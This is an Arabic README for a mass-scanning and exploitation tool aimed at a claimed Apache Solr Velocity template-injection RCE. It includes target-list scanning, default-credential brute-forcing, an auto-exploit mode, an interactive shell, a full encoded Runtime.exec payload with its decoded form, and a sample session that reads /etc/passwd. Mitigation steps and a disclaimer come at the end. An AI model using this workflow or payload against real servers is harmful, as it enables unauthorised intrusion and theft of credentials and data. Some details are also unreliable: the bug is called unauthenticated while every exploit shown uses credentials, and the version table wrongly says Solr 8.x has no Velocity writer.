
☄️ إطار عمل للاستطلاع والاستغلال الجماعي لـ Apache Solr CVE-2026-44825 — حقن قالب Velocity إلى RCE
CVE-2026-44825 هي ثغرة حرجة الخطورة في Apache Solr تتيح للمهاجمين تحقيق تنفيذ تعليمات برمجية عن بُعد (RCE) بدون مصادقة عبر حقن قالب Velocity.
تقبل نقطة النهاية /select في Apache Solr معامل wt=velocity الذي يعرض قوالب Velocity المقدَّمة من المستخدم. عندما يكون كاتب استجابات Velocity (Velocity Response Writer) مفعّلاً (أو يمكن تفعيله عبر واجهة برمجة تطبيقات الإعدادات)، يمكن للمهاجم حقن قالب خبيث يستدعي java.lang.Runtime.exec()، مما ينفّذ أوامر نظام تعسفية بصلاحيات عملية Solr.
| المتجه | الخطورة | التأثير |
|---|---|---|
| RCE بدون مصادقة | 9.8 (حرجة) | اختراق كامل للنظام |
يضمّن Apache Solr محرك Apache Velocity كمحرك قوالب اختياري لعرض الاستجابات. تكمن الثغرة في VelocityResponseWriter الخاص بـ Solr، والذي يعالج معاملات القوالب الخاضعة لتحكم المستخدم دون تعقيم مناسب، مما يسمح باستدعاء مباشر لواجهات انعكاس Java:
Java Reflection Chain:
vtl → Class.forName("java.lang.Runtime") → getRuntime().exec(cmd)
ملاحظة: يتم إجراء فحوصات الإصدار تلقائياً عبر تحليل استجابة JSON الخاصة بالنقطة
/admin/info/system.
# Clone the repository
git clone https://github.com/shinthink/solrradar.git
cd solrradar
# Install dependencies
pip install -r requirements.txt
# Verify
python solr_scanner.py --help
requests>=2.28.0
urllib3>=1.26.0
مكتبات قياسية فقط +
requests. بدون تبعيات معقدة.
CVE-2026-44825 Apache Solr Scanner
-t, --target Single target URL or IP[:port]
-f, --file File containing targets (one per line, # for comments)
--exploit Auto-exploit if vulnerable credentials are found
--rce Launch interactive shell after authentication
-u, --user Username for Basic Auth
-pw, --password Password for Basic Auth
-o, --output JSON output file path (default: solr_results.json)
-w, --workers Number of concurrent threads (default: 30)
-T, --timeout HTTP request timeout (seconds) (default: 8)
# Single target
python solr_scanner.py -t 192.168.1.100:8983
# Single target with custom path
python solr_scanner.py -t http://example.com/solr
# Mass scan from file
python solr_scanner.py -f targets.txt -o results.json
# targets.txt — supports comments and blank lines
192.168.10.10:8983
192.168.10.20:8983
http://solr-target.internal/solr
192.168.1.0/24 # (CIDR not supported; pre-expand with external tool)
# Scan + auto-exploit if creds found
python solr_scanner.py -f targets.txt --exploit
# Known credentials + interactive shell
python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
# Auto brute-force + shell on success
python solr_scanner.py -t target:8983 --rce
$ python solr_scanner.py -f targets.txt
CVE-2026-44825 Apache Solr Scanner
Targets: 3 | Threads: 30 | Timeout: 8s
Scanning...
[Solr 8.11.2] http://192.168.10.10:8983/solr
[Solr 8.11.2] http://192.168.10.20:8983/solr
Cols (no auth): ['authority', 'dfa', 'oai', 'search']
[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr
Done. Total:3 | Solr:3 | Vuln:1
تم اكتشاف جميع الأهداف الثلاثة. تم وضع علامة على مثيل 9.4.1 كمعرَّض للثغرة مع تفعيل Basic Auth.
$ python solr_scanner.py -t solr-target.internal
CVE-2026-44825 Apache Solr Scanner
[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr
[!] admin:SolrRocks
Cols: ['cms', 'users', 'search', 'analytics']
بيانات الاعتماد الافتراضية
admin:SolrRocksتمنح الوصول إلى واجهات برمجة Solr الإدارية. تم اكتشاف أربع مجموعات.
$ python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
CVE-2026-44825 Apache Solr Scanner
[+] admin:SolrRocks
solr$ id
uid=8983(solr) gid=8983(solr) groups=8983(solr)
solr$ hostname
solr-prod-cms-01.internal
solr$ whoami
solr
solr$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
solr:x:8983:8983:Solr:/var/solr:/sbin/nologin
...
solr$ exit
وصول كامل لصدفة تفاعلية بصلاحيات عملية Solr الخاصة بـ Java.
للباحثين الذين يريدون فهم التبادل الخام لـ HTTP:
الخطوة 1 — التحقق من إمكانية الوصول إلى Solr
curl -sk 'http://target:8983/solr/admin/info/system' | jq '.lucene."solr-spec-version"'
# "9.4.1"
الخطوة 2 — سرد المجموعات المتاحة
curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
'http://target:8983/solr/admin/collections?action=LIST'
# {"collections": ["cms", "search"]}
الخطوة 3 — تنفيذ أمر عبر حقن قالب Velocity
curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x=%27%27)%23set(%24rt=%24x.class.forName(%27java.lang.Runtime%27))%23set(%24chr=%24x.class.forName(%27java.lang.Character%27))%23set(%24ex=%24rt.getRuntime().exec(%27id%27))%24ex.waitFor()%25%23set(%24out=%24ex.getInputStream())%23foreach(%24i%20in%20[1..%24out.available()])%24str.valueOf(%24chr.toChars(%24out.read()))%23end' \
'http://target:8983/solr/cms/select'
حمولة قالب Velocity بعد فك الترميز:
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($ex=$rt.getRuntime().exec('id'))
$ex.waitFor()%
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
الاستجابة:
uid=8983(solr) gid=8983(solr) groups=8983(solr)
┌──────────────────────────────────────────────────────┐
│ SOLRRADAR │
├───────────────┬──────────────────────────────────────┤
│ RECON PHASE │ EXPLOIT PHASE │
│ │ │
│ ┌─────────┐ │ ┌──────────┐ ┌────────────────┐ │
│ │ Detect │──┼──▶ Brute- │───▶│ Velocity RCE │ │
│ │ Solr │ │ │ force │ │ Template Inj. │ │
│ └────┬────┘ │ └────┬─────┘ └───────┬────────┘ │
│ │ │ │ │ │
│ ▼ │ ▼ ▼ │
│ ┌─────────┐ │ ┌──────────┐ ┌────────────────┐ │
│ │ Version │ │ │ Default │ │ Runtime.exec() │ │
│ │ Check │ │ │ Creds │ │ → RCE │ │
│ └─────────┘ │ └──────────┘ └────────────────┘ │
│ │ │
│ ┌─────────┐ │ ┌────────────────────────────────┐ │
│ │ Auth │ │ │ Interactive Shell (--rce) │ │
│ │ Probe │ │ └────────────────────────────────┘ │
│ └─────────┘ │ │
└───────────────┴──────────────────────────────────────┘
Target URL
│
▼
┌─────────────┐
│ normalize │ → add http:// + /solr if missing
└──────┬──────┘
│
▼
┌─────────────┐ No
│ GET /admin/ ├──────── Skip target
│ info/system │
└──────┬──────┘
│ Yes (200/401)
▼
┌─────────────┐
│ Parse JSON │ → extract solr-spec-version
│ fingerprint │
└──────┬──────┘
│
▼
┌─────────────┐
│ is_vuln() │ → 9.4–9.10.x or 10.0.0 ?
└──────┬──────┘
│
├── Not vuln → Report, move on
│
▼ Vuln
┌─────────────┐
│ Auth check │ → /admin/cores?action=STATUS
│ (3-stage) │ → /admin/collections?action=LIST
└──────┬──────┘
│
├── No auth → Try unauthenticated listing
│
▼ Auth detected
┌─────────────┐
│ Brute-force │ → 4 users × 8 passwords = 32 attempts
│ credentials │
└──────┬──────┘
│
├── No match → Report vuln (no creds)
│
▼ Creds found
┌─────────────┐
│ List cols / │ → /admin/collections or /admin/cores
│ cores │
└──────┬──────┘
│
▼
┌─────────────┐
│ RCE via │ → POST /{collection}/select
│ Velocity │ → Velocity template → Runtime.exec()
└─────────────┘
bool(Response[401]) == False مهماً؟مطبّ خفي في بايثون اكتُشف أثناء التطوير:
>>> import requests
>>> r = requests.get('https://httpbin.org/status/401')
>>> bool(r)
False # ← 4xx/5xx responses evaluate to False!
هذا يعني أن كل فحص if response and ... يتجاوز استجابات الأخطاء بصمت — حتى عندما تريد تحديداً التعامل مع 401. الحل هو استخدام if response is not None and ... دائماً:
# ❌ Broken — 401 responses are silently skipped
if r and r.status_code == 401:
auth = True
# ✅ Correct — explicitly check for None
if r is not None and r.status_code == 401:
auth = True
يستخدم الماسح استراتيجية كشف من 3 مستويات لتقليل النتائج السلبية الكاذبة:
'solr' in response.text.lower()
يلتقط Solr في مفاتيح JSON ("solr_home", "solr-spec-version", "mode":"solrcloud")، ولوحات معلومات HTML، وصفحات الأخطاء — دون تمييز بين الأحرف الكبيرة والصغيرة.
'solr' in response.headers.get('Server', '').lower()
تتضمن بعض البيئات كلمة "Solr" في ترويسة Server الخاصة بـ HTTP.
# Stage 1: Check /admin/info/system response code
# Stage 2: Probe /admin/cores?action=STATUS for 401
# Stage 3: Probe /admin/collections?action=LIST for 401
يلتقط البيئات التي تكون فيها نقطة /admin/info/system عامة ولكن العمليات الإدارية تتطلب مصادقة.
نمطان من التعبيرات النمطية (regex) لضمان المتانة:
VERSION_RE = [
r'solr-spec-version[^0-9]*([\d.]+)', # lucene.solr-spec-version
r'solr-impl-version[^0-9]*([\d.]+)', # lucene.solr-impl-version
]
إذا كنت تشغّل Apache Solr، فطبّق إجراءات التحصين التالية فوراً:
# Upgrade to a patched version
# Solr 9.x → 9.10.2 or later
# Solr 10.x → 10.0.1 or later
<!-- In solrconfig.xml — REMOVE or COMMENT OUT: -->
<!--
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter"/>
-->
# Restrict access to Solr admin endpoints at the network level
# Only allow trusted IP ranges to access ports 8983/7574
iptables -A INPUT -p tcp --dport 8983 -s TRUSTED_IP/32 -j ACCEPT
iptables -A INPUT -p tcp --dport 8983 -j DROP
# Use this scanner against your OWN infrastructure
python solr_scanner.py -f my_solr_instances.txt -o audit_results.json
🚨 لأغراض تعليمية وللاختبارات المصرَّح بها فقط
هذه الأداة مقدَّمة لأغراض تعليمية فقط وللبحث الأمني المشروع. وهي مخصصة للاستخدام من قبل:
- 🛡️ المتخصصون في الأمن الذين يجرون اختبارات اختراق مصرَّح بها
- 🏢 المنظمات التي تدقق بنيتها التحتية الخاصة بـ Apache Solr
- 🔬 الباحثون الذين يدرسون تقنيات استغلال الثغرات
- 🎓 الطلاب الذين يتعلمون عن أمن تطبيقات الويب
❌ لا يجوز لك استخدام هذه الأداة من أجل:
- الوصول إلى أنظمة الحاسوب دون إذن كتابي صريح
- اختراق أو إتلاف أو تعطيل الأنظمة التي لا تملكها
- الانخراط في أي نشاط غير قانوني
⚖️ إشعار قانوني
الوصول غير المصرَّح به إلى أنظمة الحاسوب يخالف القوانين، بما في ذلك على سبيل المثال لا الحصر:
- الولايات المتحدة: قانون الاحتيال وإساءة استخدام الحاسوب (18 U.S.C. § 1030)
- إندونيسيا: UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
- الاتحاد الأوروبي: التوجيه 2013/40/EU
- المملكة المتحدة: قانون إساءة استخدام الحاسوب لعام 1990
لا يتحمل المؤلفون أي مسؤولية عن أي إساءة استخدام أو ضرر أو عواقب قانونية ناتجة عن استخدام هذه الأداة. باستخدامك لهذه الأداة، فإنك تقرّ بأنك المسؤول الوحيد عن أفعالك وتوافق على الامتثال لجميع القوانين المعمول بها.
⚡ صُنع بدقة لمجتمع أبحاث الأمن ⚡
Apache® و Apache Solr® علامتان تجاريتان مسجلتان لمؤسسة Apache Software Foundation.
هذا المشروع غير تابع لمؤسسة Apache Software Foundation ولا يحظى بدعمها.
| RCE بمصادقة | 8.8 (عالية) | تنفيذ أكواد بعد المصادقة |
| كشف المعلومات | 5.3 (متوسطة) | تعداد النوى/المجموعات |
| إصدار Apache Solr | الحالة | ملاحظات |
|---|
| 9.4.0 – 9.10.1 | 🔴 معرَّض للثغرة | استغلال نشط في البيئات الحقيقية |
| 10.0.0 | 🔴 معرَّض للثغرة | الإصدارات الأولية من 10.x متأثرة |
| 10.0.1+ | 🟢 مصحَّح | تم نقل الإصلاح إلى الإصدارات السابقة |
| 9.10.2+ | 🟢 مصحَّح | إصدار التصحيح متاح |
| ≤ 9.3.x | 🟢 غير متأثر | Velocity Response Writer غير موجود |
| 8.x (جميعها) | 🟢 غير متأثر | لا يوجد دعم لـ Velocity |
🔍 الاستطلاع
|
💀 الاستغلال
|
| المورد | الرابط |
|---|
| سجل NVD | CVE-2026-44825 |
| أمان Apache Solr | solr.apache.org/security |
| وثائق Velocity الخاصة بـ Solr | Velocity Response Writer |
| حقن القوالب OWASP | Server-Side Template Injection |